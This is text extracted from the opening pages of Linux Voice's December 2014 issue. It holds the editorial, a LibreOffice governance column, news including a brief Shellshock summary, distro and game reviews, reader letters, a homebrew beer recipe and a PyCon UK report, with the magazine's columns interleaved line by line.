Plaintext
THE WORLD’S BIGGEST AND BEST LINUX MAGAZINE
116 PAGES December 2014
OF LINUX SECURITY APOCALYPSE TEXT PROCESSING PRIVACY
LEARNING SHELLSHOCK LATEX TOX
54
Find out how hackers are Prettify the written Leak government
exploiting the Bash bug word the geek way secrets in private
BEST
LINUX
APPS
Discover the best free
software known to man –
all of it just a click away
34+ PAGES OF TUTORIALS
PYTHON Generate Mandelbrot fractals
KERNEL Switch features on and off for a better Linux
December 2014 £5.99 Printed in the UK
OFFICE SUITES Why let the toad work squat on your life?
TIM O’REILLY GRAPHICAL ENVIRONMENT
THE SAGE GNOME
Why print isn’t dead What next for our old
(but DRM should be). favourite desktop?
WELCOME
Welcome to Linux Voice
The December issue
Linux Voice is different.
Linux Voice is special.
Here’s why… GRAHAM MORRISON
A free software advocate
At the end of each financial and writer since the late
1
year we’ll give 50% of our 1990s, Graham is a lapsed
profits to a selection of KDE contributor and author
organisations that support free of the Meeq MIDI step
software, decided by a vote among sequencer.
our readers (that’s you).
T SUBSCRIBE
here’s a point in our interview with Tim O’Reilly (p40) where
No later than nine months he says, “It used to be the case that free and open went
2
after first publication, we will
relicense all of our content under
together, and expensive and proprietary went together.
Now proprietary and free, as in price, are overlapping.”
ON PAGE 62
the Creative Commons CC-BY-SA I must admit, I used to find the high-quality and no-cost of online
licence, so that old content can and cloud services a difficult argument to counter – I used them
still be useful, and can live on even for years. But I’ve profoundly changed my mind. And once again,
after the magazine has come off it’s Linux, open source and Free Software that provides the only
the shelves. alternative. The problem is that while these free services are
proprietary, we, as individuals, have no voice. You can’t phone
We’re a small company, so Google and ask them why your account is locked. With OS X
3
we don’t have a board of upgrades costing nothing, your recourse with Apple is different
directors or a bunch of from how it would be if you’d spent £100. And who’s betting
shareholders in the City of London Microsoft charges nothing for a Windows 10 upgrade? It muddies
to keep happy. The only people our consumer rights, it gives companies like Apple the belief it can
who matter to us are the readers. push the latest U2 album to our devices, and it locks us in.
The only real alternative is Linux and open source.
THE LINUX VOICE TEAM Graham Morrison
Editor Graham Morrison Editor, Linux Voice
graham@linuxvoice.com
Deputy editor Andrew Gregory
What’s hot in LV#009
andrew@linuxvoice.com
Technical editor Ben Everard
ben@linuxvoice.com
Editor at large Mike Saunders
mike@linuxvoice.com
Games editor Liam Dawe
liam@linuxvoice.com
Creative director Stacey Black
stacey@linuxvoice.com
Malign puppetmaster Nick Veitch
nick@linuxvoice.com
Editorial contributors:
Chris Brown, Andrew Conway, Mark
Crutch, Josette Garcia, Juliet Kemp, ANDREW GREGORY BEN EVERARD MIKE SAUNDERS
John Lane, Vincent Mealing, Simon Hot on the heels of the The kernel is a weird place, a little We’ve got a monster epic guide
Phipps, Les Pounder, Tariq Rashid, Shellshock vulnerability, Ben has like Pandora in Avatar. Andrew for coding beginners – learn
Mayank Sharma, Valentine Sinitsyn written a tutorial on exploiting it Conway’s wonderful tweaking Python while making lovely,
to protect yourself. p90 guide makes it childsplay. p26 infinitely complex fractals. p96
www.linuxvoice.com 3
CONTENTS
December LV009
Here we are, born to be kings, we’re the princes of the apt-get command.
18 REGULARS
SUBSCRIBE News
06
ON PAGE 62 Sad times for Minecraft,
The best Shellshock, and how
LibreOffice is winning.
Linux apps 08 Distrohopper
The spirits of KDE 3 and
EVER!!!!! Gnome 2 live on – and for the
tinkerers, there’s Gentoo.
Gaming
Turn to page 10
What’s been keeping our
18 and fire up trigger fingers twitching
this month.
your package Speak your brains
manager… 12
Send us your considered
thoughts, that we may share
them with the world.
16 LV on tour
Only one stop on the tour today
40 – PyCon UK, home of silliness,
cheese and indentation.
26 Kernel parameters
Tweak the Linux kernel for
added performance and
extra features.
56 Group test
Tim O’Reilly
For when you just want to get
work done and go home, the
humble office suite is here.
Why DRM is evil, print 62 Subscribe!
is hanging on, and Get a shiny magazine every
month and access to our
open source is as archive of content.
important as ever. 64 Core technologies
Control what your users can
and can’t do with pluggable
authentication modules.
68 FOSSpicks
The freshest, free-est and
some would say hottest picks
the internet can offer.
110 Masterclass
Now that it’s finally legal in
the UK, rip your CDs from the
GUI and the command line.
30
MAKER FAIRE 38 FAQ: SYSTEMD 34
GNOME
Need inspiration for How a replacement What next for the 114 My Linux desktop
your next project? for Linux’s startup Gnome Foundation? Inside the lair of Fabian A
Scherschel, Linux Outlaw and
Get out there and scripts is taking over We spoke to its security chap for Heise online.
see what other people the world and making former executive
are doing! Slashdot angry. director to find out.
4 www.linuxvoice.com
TUTORIALS REVIEWS
76 78
Kobo Aura H2O
Tox: Encrypted peer-to- Python: Write a simple
48
An e-reader you can safely read
peer communications Twitter client in the bath – oh look, there’s an
EPUB version of Linux Voice!
Chat without any government Connect your application to the
spooks listening to you. weird world of social media.
82 86
50 Geary 0.8
Take an email client, then make
it as simple as it can be, but no
Latex: Compose OpenMediaVault: simpler. That’s Geary.
beautiful text NAS for everyone 51 Hover
The layout tool for the über geek Get network attached storage Control your Pi with hand
isn’t as hard as it looks. the easy, Linuxy way. gestures, like a tiny ARM-
powered theremin PC.
90 92
52 Gnome 3.14
The elegant desktop has
refinement and polish – is it
enough to tempt us back?
53 MoPi
For hacking on the road, this
power adaptor and monitor for
Raspberry Pi is jolly useful.
Shellshock: Cyrus: Build your own
Books A man will turn over half
Breaking into Bash mail server…
54
a library to make one book.
How the scary security flaw … and implement bespoke We’ve made a start…
works. Now update! antivirus and spam checking.
96
Python: 104
Code ninja: 106
EDSAC and
Calculate fractals Unit testing David Wheeler
Mandelbrot set on Catch mistakes The birth of the
the starboard bow! before they happen. subroutine.
www.linuxvoice.com 5
ANALYSIS
NEWSANALYSIS
The Linux Voice view on what’s going on in the world of Free Software.
Opinion
Four years of community progress
Founded by a community split, LibreOffice is innovating in a way that we need to emulate.
Simon Phipps active contributors admitted by an elected but there’s a more concrete measure
is president of the Membership Committee (where I available. A research project into automatic
Open Source Initiative
volunteered for a while). The Members elect detection of the most common software
and a board member
of the Open Rights a board of directors each year, who are them defects became a company called Coverity,
Group and of Open empowered to run the formal affairs of the and today they offer open source projects
Source for America. community. There’s no overall “boss” -- the free access to their commercial tools to both
membership committee runs the board evaluate code quality and to detect defects.
elections and the board runs the Today well over 2500 projects make use of
membership committee elections. This this “Coverity Scan” and provide a
stable structure with strict rules is fairly convenient way to track code improvement
T
he last weekend in September was actively overseen by Berlin to ensure the in each of them. The tool calculates a “defect
the 4th anniversary of the founding rules are followed, ensuring even the best density” score of defects detected per 1000
of the LibreOffice project. Since its game-playing corporations can’t take over. lines of code. A project this size has an
founding, the project has grown in leaps and average defect density of 0.65. When TDF
bounds, becoming the default in most Linux Foundations of success inherited the code from OpenOffice.org, the
distributions for handling office documents LibreOffice is well-funded in what seems a defect density was 1.11, but they have had a
and presentations. What lessons can be safe and sustainable way. Some of the team focussed on the Coverity Scan and
learned from its first four years? funding comes from an Advisory Board over the four years they have achieved a
The project is hosted in a new (for open mechanism similar to those used by many more than ten-fold improvement, getting it
source) form of organisation. Having other open source communities like Gnome. down to 0.08. That’s an impressive
watched other projects become over- Advisory Board members are essentially achievement, reflecting the broader
influenced by business politics, the sponsors; they gain no governance role and dull-but-essential work of robust rest-and-fix.
LibreOffice project decided to create a legal donate either funds or expertise because Today the code is slimmer, has an order of
entity around the code that provided a level they want to see the project succeed. Wise magnitude fewer defects, includes asserts
playing field for all involved. It uses a projects make sure they are neither and unit tests to prevent regressions and as
German non-profit structure called a dependent on a single sponsor nor fully a consequence loads faster and fails less.
“Stiftung”, a very stable and essentially dependent on corporate sponsors. So So four years in, what are the lessons?
immutable trust designed for the long term. LibreOffice also gets substantial funding First, focus on the code. Make it great, make
It’s the sort of structure one generation from donations. With 80 million active users, it accessible to newcomers, make it easy to
creates to carry care of a building or a it only takes a small donation from each build and test, make quality a priority.
monument for future generations. The person visiting the web page and LibreOffice Second, create equality. TDF has created a
project created The Document Foundation has received enough cash this way to be level playing field with its governance where
(TDF) to protect itself, a move regarded by able to hire a full-time executive director. many companies are able to collaborate
the authorities in Germany as radical and As well as innovative governance and alongside a cornucopia of volunteers. Third,
unusual but ultimately endorsed by the funding, the project has also been focussing spend wisely. Money is not always a blessing
regional government of Berlin. the work of hundreds onto the code. Talk to an open source project and spending it
TDF is run by Members, who are the legal about “quality” and “buggy code” is cheap without creating divisions is hard to do.
trustees of the organisation and who are and flows freely both as insult and plaudit, Starting a new open source project is
hard; forking an existing one is painful;
creating a new large non-profit Foundation
“Four years on, LibreOffice is setting the standard is much harder still. But four years on,
for how an open source project should be run.” LibreOffice is setting the standard for how it
should be done.
6 www.linuxvoice.com
ANALYSIS
Minecraft • Netflix • TrueCrypt • Gnome 3.14 • Photoshop • Shellshock
CATCHUP Summarised: the biggest news
stories from the last month
Debian to switch (back) to Netflix finally comes to TrueCrypt project is
1 Gnome as default desktop 2 Linux! Well, sort of… 3 reborn as CipherShed
The last release of Debian We Linux users haven’t had Back in May, the popular
featured Xfce as its standard desktop, the best time with Netflix, the world’s TrueCrypt encryption software was
largely due to its compact size – it most popular streaming video service. discontinued under mysterious
meant that a whole Debian system Sure, it’s possible to use it via the circumstances. But now a fork has
could fit on a CD. But now it looks Pipelight plugin and plenty of fiddling, brought the codebase back to life, and
like the distro will switch back to but now things have gotten a lot easier development snapshots are here:
using Gnome as the default, primarily with development builds of Google www.ciphershed.org
because that desktop has better Chrome. By tweaking your user agent
accessibility support and systemd string and using the HTML 5 video
integration. It could mean that the mode of Netflix, you can now stream
single-CD version of Debian gets videos without add-on software. It’s
canned, but the distro team doesn’t still a bit of a hack, and we’d like official
seem particularly worried about that. support from Netflix, but it’s a start.
NHS ditches Oracle DB in Microsoft buys Minecraft Gnome 3.14 to further
4 favour of NoSQL 5 creator for huge sum 6 integration with systemd
Bye bye Oracle! Yes, the UK’s This isn’t directly Linux This is related to the first
National Health Service, the country’s related, but we know that plenty of news story this month, and hasn’t been
largest employer, is ditching its people enjoy Minecraft, the vastly well received by everyone. The next
Oracle-based backbone and is moving popular sandbox construction engine, release of Gnome will make deeper use
to a NoSQL solution called Spine2. This on their Linux machines. Microsoft has of systemd, especially its user sessions
will use an open source stack on top of snapped up Mojang, the company management. This means the desktop
Linux, all running on commodity behind the game, for an impressive can drop support for the (unmaintained)
hardware. Some NHS IT projects have $2.5bn – and its founder is leaving to ConsoleKit, but questions have arisen
failed spectacularly in the past, but this concentrate on other things. So what about future Gnome releases working
switch has been in the planning stages happens now? Will Microsoft work on on other operating systems, such as
for three years, so it should go more Minecraft 2, which just so happens to FreeBSD. There’s a good explanation
smoothly. A good time for Larry Ellison only work on Windows? Will the Java about the reasoning here:
to step down as Oracle CEO… version be discontinued? Time will tell. http://tinyurl.com/p8e24h4
Adobe Photoshop comes “Shellshock” vulnerability
7 to Linux! Well, sort of… 8 in Bash shakes the web
Whether you love the We’ve got more about this
company or hate it, there’s no doubt on page 90, but in brief: a decades-
that Adobe has a lot of clout when old security hole in Bash has been
it comes to media and productivity discovered, making potentially millions
software. Google has announced that of web servers open to exploitation.
Photoshop and other Creative Cloud Most distros have rushed out patches
programs will be coming to Chrome to mitigate the problem, but it’s a
OS – which, of course, is based on the reminder that despite the benefits of
Linux kernel. So it doesn’t mean we’ll free and open source software, if very
be ’shopping images on our regular few people are looking at crusty old
GNU/Linux boxes any time soon, and code, bugs can remain unspotted for a
it’s still proprietary software, but at long, long time. If you haven’t upgraded
least it’s a step in the right direction. yet, we recommend doing it now.
www.linuxvoice.com 7
DISTROHOPPER
DISTROHOPPER
Our pick of the latest releases will whet your appetite for new Linux distributions.
Open Media Vault
Keep your data backed up.
O
pen Media Vault (OMV) is a Network
Attached Storage (NAS) system
built on open source software.
Traditionally, this is an area that has been
dominated by the BSD flavour of Unix, but
there are now a few Linux NAS systems
fighting back. It’s straightforward to install
OMV through its Curses-based installer. You
just enter some basic details (username,
password, and a few other bits and pieces),
and the rest of the installation is automatic. With Open Media Vault, you can set up a NAS without ever having to go near the command line.
When you boot the machine following an
install, it will go to a text-based Linux login system and how complicated the control only through the command line rather than
that tells you the IP address to access the panel is. OMV’s control panel is easy to use, the web control panel. OMV is based on
machine at. By default, you’ll have web but you need to know what you want to set Debian Wheezy, so anything that’s possible
access to a control panel, and from here you up, so it’s not a completely trivial affair for on that should be possible on OMV.
can enable SSH, FTP, Rsync and other non-technical people. Open Media Vault should work well for
access protocols, as well as adding users Advanced users may miss the power of most home or small office networks. It’s
and managing the system. ZFS configuration that’s possible with some most suited for people comfortable using
With GUI control panels, there’s always a of the BSD and Solaris based NAS solutions. Linux who don’t want to make the switch to
trade-off between how easy it is to use a Technically, it is possible to add ZFS, but BSD for their NAS.
Q4OS
A distro that’s keeping KDE 3 alive in a KDE 5 world.
M
ost KDE users are preparing possibly the best desktop environment of its
themselves for the shift from day. Here at Linux Voice, we have fond
version 4 to version 5. However, a memories of it. We even clung to it for a
few hardy souls still maintain that the while in the face of the early releases of KDE
desktop reached perfection in version 3, and 4. However, times have moved on; fashions
still cling doggedly to it. The Trinity project have moved on; the way we use computers
forked KDE 3 after development stopped in has moved on; but Trinity hasn’t moved on. No, really, this image, resplendent in KDE 3, is
2008, and has continued releasing bugfixes. Q4OS is good for a nostalgia, but we of a distro released in 2014.
Q4OS uses the Trinity desktop to provide struggle to think of a reason to recommend
what the developers claim is a “fast and it beyond this. If you’re looking for a Qt-based certainly inkeeping with the trends of the
powerful desktop operating system environment that’s less resource hungry same era, but we’re not convinced that this
designed to offer classic-style user interface, than KDE 4 (or 5), then Razor Qt or the is reason enough to hold back the future.
long-term stability and strong foundation for upcoming LXQT would be a better option. There is a place for distros with slow
complex third party applications.” Some commentators have touted it as a change cycles that don’t force new ways of
There was nothing wrong with KDE 3 – potential refuge for Windows XP users not working on unsuspecting users every year
indeed, it was a great desktop environment, willing to go to Windows 8. The design is or two, but Q4OS takes it just a little too far.
8 www.linuxvoice.com
DISTROHOPPER
Gentoo
Speed freaks and tinkerers only need apply.
A
round 14 million years ago, the
gentoo penguin split off from the
chinstrap and became an
independent species. In this time, it’s
adapted to become one of the fastest
species of penguins and can swim three
times as fast as the emperor penguin.
12 years ago, Gentoo became an
independent Linux distribution built for
speed. It gets this speed by providing
packages as source code rather than binary
packages. This source code can then be
compiled and optimised for the specific
machine it’s installed on. This build-it-
yourself philosophy goes beyond just
compilation though, and makes Gentoo one
of the most configurable systems available.
Of course, speed is a many-faced concept. Compiling KDE from scratch gives you access to even more options than the already overloaded
While it may be quicker to run things on configuration files. There’s a speed boost, but it’s more about the customisation for Gentoo users.
Gentoo, it’s slower to install them (you can
also install binary packages to save time if While speed is often the reason Gentoo The compilation opens up a whole set of
you wish). With each new, better, faster users give for using the distro, we suspect options that many Linux users never knew
generation of hardware, the overhead of that this isn’t really the case. Specifically they had. If you like to tinker – really tinker
compilation gets smaller. Still, it’s worth compiled code is like tailor-made clothes, – with your system, then Gentoo might be
considering the processing power of your but instead of fitting your body perfectly, it for you. It may make your computer a little
computer when deciding whether to use fits your CPU exactly how it should. It just quicker, but let’s be honest here, it’s more
Gentoo Linux. feels better in a way that’s hard to describe. about the joy of tinkering, isn’t it?
Ubuntu Mate Can a new spin draw back some lost users?
Ubuntu Mate looks and feels nice – like an updated version of pre-Unity
Ubuntu, just less brown and orange. This might be too little, too late
though, as most Ubuntu users who don’t like Unity have long since left
to find other distros, such as Mint, which is based on Ubuntu and
already comes with the Mate desktop.
There are a few differences between Mint Mate and Ubuntu Mate
though. For example, Ubuntu Mate has the software centre and has
simpler access to a lot of non-free software. Now that Mint’s going to
be based solely on LTS releases (with some back-ported features),
Ubuntu Mate should have more up-to-date software. There isn’t much
difference now, as we’re only a few months from the previous LTS
release, but in a year’s time, there will probably be a pronounced
difference (of course, people who don’t like chasing the latest releases
may prefer the more sedate release pace of Mint Mate). On the other
hand, the Mate desktop is developed by the Mint team, so Mate-specific
software will probably start being released on a schedule to work best
with Mint.
At the time of writing, Ubuntu Mate wasn’t an official spin, and it’s
not clear if it ever will be. This shouldn’t overly trouble users, but it
might mean there’s a slight delay between when a new version of
Ubuntu is officially released and the new version of Ubuntu Mate is
coming out. It’s too soon to tell how long this delay will be though.
As we’ve come to expect from prominent Ubuntu spins (even
non-official ones like Mate), it’s well themed and looks good out of the
box. The development team haven’t tried to recreate the look of older
versions of Ubuntu; instead, they’ve tried to create a new look that is Ubuntu Mate is the most anticipated Ubuntu release of the year, despite the
modern yet still has a familiar feel to it. fact that it hasn’t come from Canonical, Ubuntu’s parent company.
www.linuxvoice.com 9
GAMING ON LINUX
GAMING ON LINUX
The tastiest brain candy to relax those tired neurons
CROWDFUND YOUR GAME
Borderlands 2
Are you ready to shoot & loot?
O
ne of the hottest first-
person shooters of
the last few years is
undoubtedly Borderlands 2 and
it has been officially released
for Linux! This is absolutely
massive news, as it’s a high
Liam Dawe is our Games Editor and
the founder of gamingonlinux.com, budget game and another big
the home of Tux gaming on the web. name to be playable on Linux.
It blends “cell-shaded”
N
ow that Linux gaming is in graphics with frantic shooter
full swing, things that didn’t action, and it throws in some
previously affect our
neat RPG mechanics. Each
platform are starting to put Linux in
the firing line. character has special abilities,
What we are talking about is so be sure to try them all to find
Crowdfunding and Early Access who fits your style!
games, and the feeling from many The loot system is also It cannot be understated cards right now. If it sounds like
that they are starting to wear a bit
fantastic as you will constantly how important games like this your cup of tea, it’s available for
thin. Some gamers have even stated
they feel that these funding methods find better guns, some of which are for growing our platform. £19.99 from Steam.
are ruining the games industry, but have some fun weapon effects Important Note: It’s only http://store.steampowered.
we don’t think it’s as severe as this. on them to boost their power. supported on Nvidia graphics com/app/49520/
There are always going to be risks
when you front your own money to
help a developer bring a game to life,
Tropico 5
and you should always go into it
knowing this and accepting this.
With these methods of funding,
you are helping to fund an idea, but
not a 100% complete game, and it
Power corrupts. That sounds like fun to us!
T
seems some people are forgetting
this in the wider community. ropico 5 is the latest
Some planned features may not instalment in the very
always make it in; that’s perfectly popular city-builder
normal for game development and it series, and the first in the series
happens a lot. The issue is that when
to be on Linux.
using these funding methods the
developers’ ideas get taken as fact, You get to create your
and when these features are cut very own dictator to run a
some gamers get very upset. tropical island and do with it
The main problem is a lack of clear as you wish, but be careful
communication from developers, and
not to annoy the crown as
especially in relation to Linux ports.
We hope this is something developers you secretly prepare for
will work on. These funding methods independence! You will need to create build online with others, and it
are constantly evolving, so to call It has the typical city-builder army units to protect your can get very amusing with lots
them out as being bad for the features like roads (I know, city with, and search out of dictators battling it out.
industry is a little extreme. They have
exciting right!), houses and your surroundings for riches You can grab it on Steam
created a chance for many Linux
games we might otherwise never commerce, but it does things a and wonders. The best part right now for £34.99.
have, so let’s look on the bright side. little differently with a comical of Tropico 5 has to be the http://store.steampowered.
edge to it. multiplayer mode; you can com/app/245620
10 www.linuxvoice.com
GAMING ON LINUX
Another World ALSO RELEASED…
A real gem from another time.
A
nother World (or Out of this World was praised highly on its release. So many
as it was called in some places) years later, Linux gamers can get in on
is an absolute classic from a the action.
different era of video games. The 20th If you have never played it, we really
anniversary edition has just made its suggest giving it a go to see a piece of
way onto Linux courtesy of game porting gaming history in action.
master Ryan “Icculus” Gordon. It’s available for £7.99 from Steam.
The game came from a time where the http://store.steampowered.com/ Robocraft
Amiga system was going strong and it app/233550/ How about a free game that lets you build a
vehicle and blow up other people’s? If that
tickles your fancy, you’ll like Robocraft. You
level up, gain access to more interesting
building blocks for your craft and then battle it
away online against gamers far and wide. It’s
really quite fun watching your craft and enemy
craft slowly disintegrate.
http://store.steampowered.com/app/301520/
Counter Strike Outlast
Planetary Annihilation
Global Offensive One of the scariest games ever made. Possibly one of the biggest real-time strategy
Classic first-person shooter. titles ever made has smashed its way out of
‘Early Access’! Planetary Annihilation is an
inter-planetary battleground that allows you to
crash moons into planets, but it will suck a lot
of your time away.
The full release has seen another price drop
too, so it’s much more affordable to destroy
planets at £22.99 now.
http://store.steampowered.com/app/233250/
D
Counter Strike: Global Offensive is the CENSORE
latest iteration of the massively popular
online FPS from Valve, and it has officially
landed on Linux, bringing with it some
frantic action.
One of the new modes, titled “Arms It’s time to hide behind your cushions – it
Race”, is an absolute blast online as you looks like Outlast is heading to Linux!
change weapons with each kill and end up Outlast is a first person survival Hatoful Boyfriend
on a knife, upping the intensity with each horror game (bit of a mouthful!) and it’s Probably one of the strangest games we will
kill. Based on the latest version of Valve’s absolutely terrifying to play in the dark! ever play. Fancy dating a pigeon? Like anime/
own Source engine, it looks and plays You can check it out on Steam below, manga-style graphics? (We had you at pigeons
didn’t we – be honest!)
beautifully already, even being such a but be warned not to buy it until the
Despite the dodgy premise, this pigeon high
new release. And, knowing Valve, it will be Linux release appears to avoid being school dating sim is highly rated, so give it a
supported for many years to come. disappointed and to have your purchase go and try not to get hooked. You can grab it
Available on Steam for £11.99. count as a Linux sale to help our platform. for £6.99 on Steam right now.
http://store.steampowered.com/ http://store.steampowered.com/ http://store.steampowered.com/app/310080/
app/730/ app/238320/
www.linuxvoice.com 11
MAIL
YOUR LETTERS
Got something to say? An idea for a new magazine feature?
Or a great discovery? Email us: letters@linuxvoice.com
LINUX VOICE STAR LETTER
WE’RE DOING SOMETHING RIGHT!
Looking awesome! I haven’t have been repackaged DRM-
kept on top of the magazine, free (eg AI War) rather than
but decided to read Issue 8 just re-releasing them
today and just the front cover on Steam.
is enticing, lots of articles GOG.com haven’t been
about Linux-y things that friendly to Linux in the past,
interest me. but they currently offer both
Reading the gaming section, Debs and tarballs for an
I was a little disappointed increasing catalogue, with
that every single link was to official support for Ubuntu/
Steam. I think Valve has done Mint and a 30 day money-back Steam is a big deal for games, and potentially a bigger deal for Linux.
a lot to boost Linux gaming guarantee if it doesn’t work on
support in general this last your system, and store credit for February. Other than the not our strategy to focus purely
year, but that doesn’t entirely for losing out on regionally- Dungeons 2 mention, the on Steam, but with so many
do away with their general priced games. actual content of this section high-profile developers following
bad attitude towards software I also saw the Dungeons 2 was a good sample of games, Valve’s lead, it’s difficult not to
ownership. While most announcement, but I think hopefully the “history of” - this month is no different with
games require Steamworks War For The Overworld is more article will also be good. the release of Borderlands 2, for
(eg Civilisation 5), I think it’s likely to become the unofficial Phil Morrell example.
worthwhile to highlight when Dungeon Keeper 3. WFTO But we will make an extra effort
a developer has put the effort has Linux builds, now with Graham says: Thank you for such to cover other independent
into avoiding this (eg Kerbal multi-player and the DRM-free a comprehensive letter. And I games publishers, especially
Space Program), or older titles release has been announced think you’re absolutely right. It’s those whose titles are DRM-free.
PHOTOSHOP
Good Lord – Adobe is bringing Andrew says: Photoshop is indeed
Photoshop to Chrome OS! Which, fantastic, and I’m glad that Adobe
basically, means that it’ll be realises how much money it could
working on Linux before too long. make out of Chromebook users (and,
This is a massive leap forward – eventually, it will make a few quid out
I’ve been messing about with Gimp of us Linux users too). But another
and Photoshop for years now, and factor is that this will have a huge
Gimp is great, but Photoshop has effect on Gimp. For years now it has
the edge when you’re exporting been the preeminent image editing
for print (I like to have physical software on Linux, and that has
copies of my photos, not just meant that there’s been little point in
computer files). Another fantastic adding the one missing feature that it
application is coming our way – needs – CMYK support. With a serious
Linux is winning! competitor, Gimp will have to up its Photoshop takes a million years to learn properly – which is one
David, Ponteland game or face extinction. factor contributing to lock-in.
12 www.linuxvoice.com
MAIL
AWWW, THANKS
Congratulations on another
fantastic issue people, it’s the best
yet. I love the tutorials, I’m learning
so much.
James, Bedford
Andrew says: Hmm. You don’t actually
say which issue is the best yet… which
suits us, as we hope the best yet is
always the current one and the next
issue will be even better.
Raspbian’s great, but there’s so much
else to explore – try another OS and
see how your Pi works differently.
RASPBERRY PI
Thanks for the group test of Graham says: There are loads of
Raspberry Pi distros in LV008. alternative operating systems out
I’d never tried Arch before, but there for the Pi – Arch included – but
having it there in the installer made we focussed on the ones that are
me go for it. I feel duty bound included by default in Noobs, the
to point out however that you easy Raspberry Pi installer. I reckon
missed out RetroPi, which turns we did the right thing, because
your Raspberry Pi into a SNES, RetroPi look like a modified form of
a Megadrive or a bunch of other Raspbian, but Mike says anything that
consoles and makes college essay makes it easier to play SNES games
deadlines even harder than they is wonderful and we should have
would othewise be. I love it and included it. Thanks for bringing it to The issue you’re reading is the best
hate it in equal measure. our attention. one ever… at least until the next
one comes out.
www.linuxvoice.com 13
MAIL
FREEDOM ISN’T FREE
I have a problem. For years I’ve neat, but so much of our terminology with something as fundamental as
been evangelising free software misses the masses – a case in point this we manage to overcomplicate
in what I think is the best possible being the four freedoms (the freedom it by numbering them 0–3 rather
way: by using it, helping people out to run the program the way you want; than 1–4 like normal people would.
with their problems and showing it the freedom to study how the program We must do better. People are
off to whoever’s interested. I don’t works; the freedom to share the clever – if they don’t understand, we
believe in shouting about it, and program; and the freedom to modify should assume it’s our fault for not
I do believe that a horse will only the program). It’s typical that even explaining clearly enough.
drink when it’s thirsty. But I have a
problem.
A friend of mine still doesn’t
get the distinction between
‘freeware’ and ‘free software’. She
‘discovered’ the meaning of the
word ‘Ubuntu’ recently and asked
me what African philosophy has
do with ‘freeware’! I’m clearly
not getting through. Do I go full
Stallman on her? Or just find better
friends?
Richard Bosworth
Andrew says: There’s always room
for argument about the merits of free
software vs proprietary. The trouble
is that the lexicon used is so often
skewed in favour of preaching to the
choir. The distinction between ‘free “It’s free, so it must be a trial version, right? I wonder what’s wrong with it?
as in beer’ and ‘free as in speech’ is Apparently you can’t get antivirus on Linux…” Arrrrrrrrrghghgh!!!!!
YOUR AD
HERE
14
Email andrew@linuxvoice.com to advertise here
MAIL
READER RECIPE
LINUX VOICE ALE (19L, EXTRACT)
Linux Voice reader and avid homebrewer Glenn T Arnold sent us this
recipe for our very own magazine beer. Of course, it’s freely licensed
(GNU FDL), so share and tweak it!
Process: I use Northern let the wort drip out. Don’t chilling the wort down to
Estimated original
Gravity: 1.057 SG Brewer Gold Malt. If you squeeze the bag – just let the 65–68 degrees. Sterilise your
Estimated final cannot get this liquid extract, wort drip out of the bag. Add fermenting vessel and the vial.
Gravity: 1.013 SG buy a pale ale extract at your the malt extract and stir until When the wort has cooled
Estimated bitterness: local homebrew store. I use the malt extract is dissolved. down, pour it into your corby
30.9 IBUs Briess malts for the Munich While adding the extract, or ferment bucket. Then pour
Estimated colour: and Caramel/Crystal malts. bring the wort to a boil. The the yeast in the wort. Let the
16.8 EBC
If you cannot find the these total wort boil time will be 60 beer ferment for a minimum
Estimated alcohol
by Vol 5.8 malts locally, you can use minutes. Add 28g of Cascade of a week. If you still see
equivalent grains. The hops hops with 45 minutes fermentation after week, let
I used are in pellet form and remaining of the boil. the yeast ferment until the
come from HopUnion.com. Then add an additional fermentation is done. Since
INGREDIENTS As with the grains, you can 42g of Cascade hops with it is an ale it should not go
• Muslin bag for substitute similar hops from 15 minutes remaining in the longer than two weeks. When
steeping. your local homebrew store. boil. Also with 15 minutes fermentation is done rack the
• 4.2kg Northern Gold First, pour 25L of water in remaining add 1 Whirlfloc beer into a keg if you have a
Malt Syrup or a your brewpot and bring the tablet or Irish Moss to the boil kegging system – or rack to
Pale Liquid Extract
equivalent (15.8 EBC). water temperature up to 74C. for clarity. With 5 minutes a bottling bucket, add priming
• 0.55kg Munich Malt - Steep the milled speciality left add the last Cascade hop sugar and bottle. Let the beer
10L (19.7 EBC) . grains for 30 minutes and addition of 28g. condition for at least a week if
• 0.45kg Caramel/ keep the temperature around At the end of 60 minutes you bottled your beer to allow
Crystal Malt – 10L the yeast to carbonate it.
74C. Lift the muslin bag and turn off the heat and start
(19.7 EBC)
• 28.00g Cascade hops
5.50% (45.0 min.).
• Whirlfloc Tablet (15.0
min.).
• 42.00g Cascade hops
5.50 % 15.0 min.
• 28.00g Cascade hops
5.50 % 5.0 min.
• White Labs WLP004
(Irish Yeast) or
Wyeast 1084 (Irish
Yeast) or Safale 04
Dry Yeast or Danstar
Windsor Dry Yeast.
• Priming sugar (if
bottling).
We like the taste of beer. Its live white lather, its brass-bright depths, the sudden world through the wet
brown walls of the glass – that’s why we use the Brew Pi for our home brewing projects
www.linuxvoice.com 15
LUGS ON TOUR
LUGS ON TOUR
PyCon UK 2014
Josette Garcia has a grand old time with the Python community.
I
n September, Coventry attending PyCon UK a few years
welcomed PyCon UK – a ago and ultimately landing a dream
conference of the Python job promoting the educational
community, by the community, and strengths of the Raspberry Pi. She
for the Python community. This was especially passionate in
year was the largest ever with just encouraging delegates to get
under 500 delegates in attendance. involved with all the various
As usual at PyCon UK, you get educational activities happening at
more than just Python. PyCon UK and elsewhere.
For a start, there were some Within the main conference the
excellent keynote speakers. talks and practical workshops were
A highlight was Van Lindberg (the distributed into parallel tracks. As a
chair of the Python Software result, there were always a lot of
Foundation – the charitable different things going on with many
organisation that owns the people moving between activities
intellectual property for Python and and bumping into friends old and The Python community likes to borrow from the works of Monty
promotes its use). He talked about new in the famous “corridor track”. Python – including their theme tune.
the growing success of Python and Workshops included Python in
flagged some warning signs that the cloud, game programming with Zombies”, “Simulating Quantum
need to be addressed if Python is to Python, machine learning and a Systems”, “Is that jumper made of
remain one of the world’s most test-driven-development study cats?” and the rather loud “Trouble
popular programming languages. group. The talks included such at t’LeedsDataMill” (which featured
Perhaps the most warmly snappy titles as “Python for a brass band and live tubas).
received keynote was that given by The main conference is
Carrie Anne Philbin of the wonderfully eccentric: more like
Raspberry Pi Foundation. She “The main conference is more Hogwarts or Willy Wonka’s factory
eloquently told the assembled than, say, an academic conference
conference of her journey as a like Hogwarts or Willy Wonka’s or corporate event (despite the
teacher overcoming the prejudice than an academic conference.” attendance of several professors of
of colleagues, learning Python, computer science and corporate
interests such as premier sponsor
Bank of America).
Education, education, education
A well known aspect of PyCon UK
is its education track, which proves
Guido van Rossum was correct
when he said that “Python was
created as a language for anyone to
use”. To this end 45 teachers were
sponsored to join the conference
and took part in a professional
training day to work with developers
All the kids who turned
up walked away with a and each other on matters
Raspberry Pi, thanks pedagogical. Many went away
